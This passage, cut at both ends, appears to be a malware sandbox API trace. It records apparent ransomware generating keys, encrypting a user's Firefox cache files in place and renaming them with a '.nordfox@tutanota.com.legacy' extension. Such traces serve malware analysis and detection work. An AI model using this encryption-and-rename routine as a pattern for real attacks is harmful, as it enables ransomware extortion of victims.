"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49bef680b849db26256f9da3ddff8948dc33eb78.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd180 | out: pbBuffer=0x30dd180) returned 1 [0188.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0188.862] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB", dwFileAttributes=0x80) returned 1 [0188.862] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddff0 [0188.862] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.862] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4996b3a4e4609bf5c760674e0477dc3b5b31e7bb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.863] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1320) returned 1 [0188.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x619c48 [0188.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x30f3888 [0188.863] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0189.096] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.096] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0189.097] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0189.097] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.097] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd180*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd180*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.097] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd180*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd180*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.097] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.097] CloseHandle (hObject=0x1b80) returned 1 [0189.097] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4996b3a4e4609bf5c760674e0477dc3b5b31e7bb"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4996b3a4e4609bf5c760674e0477dc3b5b31e7bb.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd6a8 | out: pbBuffer=0x30dd6a8) returned 1 [0189.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0189.099] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337", dwFileAttributes=0x80) returned 1 [0189.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de728 [0189.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.100] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49772025b554a1b58f236c062a67c6f401269337"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.100] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1315) returned 1 [0189.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x523) returned 0x619c48 [0189.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x523) returned 0x30f3888 [0189.100] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x523, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x523, lpOverlapped=0x0) returned 1 [0189.101] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.101] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x523, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x523, lpOverlapped=0x0) returned 1 [0189.102] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x523 [0189.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.102] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd6a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd6a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.102] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.102] CloseHandle (hObject=0x1b80) returned 1 [0189.102] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49772025b554a1b58f236c062a67c6f401269337"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49772025b554a1b58f236c062a67c6f401269337.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dcd50 | out: pbBuffer=0x30dcd50) returned 1 [0189.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0189.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F", dwFileAttributes=0x80) returned 1 [0189.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd390 [0189.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.210] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\491decd15f6da1f39c25e411b302418495f1b28f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.210] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18717) returned 1 [0189.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x491d) returned 0x30df058 [0189.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x491d) returned 0x30e3980 [0189.210] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x491d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x491d, lpOverlapped=0x0) returned 1 [0189.371] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.371] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3980*, nNumberOfBytesToWrite=0x491d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x491d, lpOverlapped=0x0) returned 1 [0189.372] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x491d [0189.372] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.372] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.372] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dcd50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcd50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.372] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.372] CloseHandle (hObject=0x1b80) returned 1 [0189.372] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\491decd15f6da1f39c25e411b302418495f1b28f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\491decd15f6da1f39c25e411b302418495f1b28f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.374] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dcd50 | out: pbBuffer=0x30dcd50) returned 1 [0189.374] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0189.374] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43", dwFileAttributes=0x80) returned 1 [0189.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc1f8 [0189.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.375] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\48d18a403364708b74676d0c5068809ee47bcf43"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.376] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2841) returned 1 [0189.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb19) returned 0x30f3888 [0189.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb19) returned 0x30f43b0 [0189.376] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb19, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb19, lpOverlapped=0x0) returned 1 [0189.377] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2841, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.377] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f43b0*, nNumberOfBytesToWrite=0xb19, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f43b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb19, lpOverlapped=0x0) returned 1 [0189.377] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb19 [0189.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.377] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dcd50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcd50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.377] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.378] CloseHandle (hObject=0x1b80) returned 1 [0189.378] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\48d18a403364708b74676d0c5068809ee47bcf43"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\48d18a403364708b74676d0c5068809ee47bcf43.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.379] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc0f0 | out: pbBuffer=0x30dc0f0) returned 1 [0189.379] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0189.379] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08", dwFileAttributes=0x80) returned 1 [0189.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc1f8 [0189.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.380] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4851c58d9c640f303b306babb9dbe67261f15f08"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.380] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2608) returned 1 [0189.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa30) returned 0x30f3888 [0189.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa30) returned 0x30f42c0 [0189.380] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xa30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa30, lpOverlapped=0x0) returned 1 [0189.503] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.503] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f42c0*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f42c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa30, lpOverlapped=0x0) returned 1 [0189.503] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa30 [0189.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc0f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc0f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.504] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc0f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.504] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.504] CloseHandle (hObject=0x1b80) returned 1 [0189.504] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4851c58d9c640f303b306babb9dbe67261f15f08"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4851c58d9c640f303b306babb9dbe67261f15f08.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.506] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc1f8 | out: pbBuffer=0x30dc1f8) returned 1 [0189.506] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0189.506] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3", dwFileAttributes=0x80) returned 1 [0189.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbfe8 [0189.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.507] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\483516aba24a455aa0ef7181b6f831fc7494e7a3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.507] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1313) returned 1 [0189.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x521) returned 0x619c48 [0189.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x521) returned 0x30f3888 [0189.507] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x521, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x521, lpOverlapped=0x0) returned 1 [0189.508] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1313, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.508] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x521, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x521, lpOverlapped=0x0) returned 1 [0189.508] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x521 [0189.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc1f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc1f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.509] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc1f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc1f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.509] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.509] CloseHandle (hObject=0x1b80) returned 1 [0189.509] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\483516aba24a455aa0ef7181b6f831fc7494e7a3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\483516aba24a455aa0ef7181b6f831fc7494e7a3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbdd8 | out: pbBuffer=0x30dbdd8) returned 1 [0189.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0189.511] SetFileAttributesW 